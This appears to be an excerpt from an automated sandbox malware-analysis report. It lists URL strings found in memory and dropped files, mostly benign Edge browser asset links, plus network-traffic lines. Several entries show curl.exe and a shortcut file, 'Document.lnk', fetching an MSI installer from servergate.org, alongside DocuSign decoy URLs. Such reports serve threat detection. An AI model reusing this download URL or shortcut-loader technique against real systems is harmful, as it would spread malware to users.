Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr, HubApps Icons.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log0.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr, HubApps Icons.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log0.18.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 794914c4-e8f9-46f6-88c5-01e4028660cb.tmp.19.dr	String found in binary or memory: https://fonts.googleapis.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://gaana.com/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://m.kugou.com/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://m.vk.com/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://music.amazon.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://music.apple.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://music.yandex.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://open.spotify.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: curl.exe, 00000002.00000002.2106226725.000002BDA353A000.00000004.00000020.00020000.00000000.sdmp, Document.lnk.download.lnk	String found in binary or memory: https://servergate.org/rt/setup.msi
Source: curl.exe, 00000002.00000003.2105887924.000002BDA3503000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.2106213520.000002BDA3506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://servergate.org/rt/setup.msi#
Source: curl.exe, 00000002.00000003.2105887924.000002BDA3503000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.2106213520.000002BDA3506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://servergate.org/rt/setup.msihr2
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://tidal.com/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.18.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.18.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.18.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://web.telegram.org/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://web.whatsapp.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.deezer.com/
Source: 000003.log4.18.dr	String found in binary or memory: https://www.docusign.com/
Source: Favicons.18.dr	String found in binary or memory: https://www.docusign.com/favicon.ico
Source: Session_13378475367133971.18.dr, Favicons.18.dr, msiwrapper.ini.6.dr	String found in binary or memory: https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf
Source: cmd.exe, 0000000C.00000002.2310851746.0000000002E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfC
Source: cmd.exe, 0000000C.00000002.2310851746.0000000002E20000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2310759087.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2311463514.0000000005100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfC:
Source: cmd.exe, 0000000C.00000002.2310851746.0000000002E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfD
Source: cmd.exe, 0000000C.00000002.2311045844.00000000030D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfindows
Source: content_new.js.18.dr, content.js.18.dr	String found in binary or memory: https://www.google.com/chrome
Source: Web Data.18.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 794914c4-e8f9-46f6-88c5-01e4028660cb.tmp.19.dr	String found in binary or memory: https://www.googleapis.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.instagram.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.last.fm/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.messenger.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.office.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.tiktok.com/
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://www.youtube.com
Source: 40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
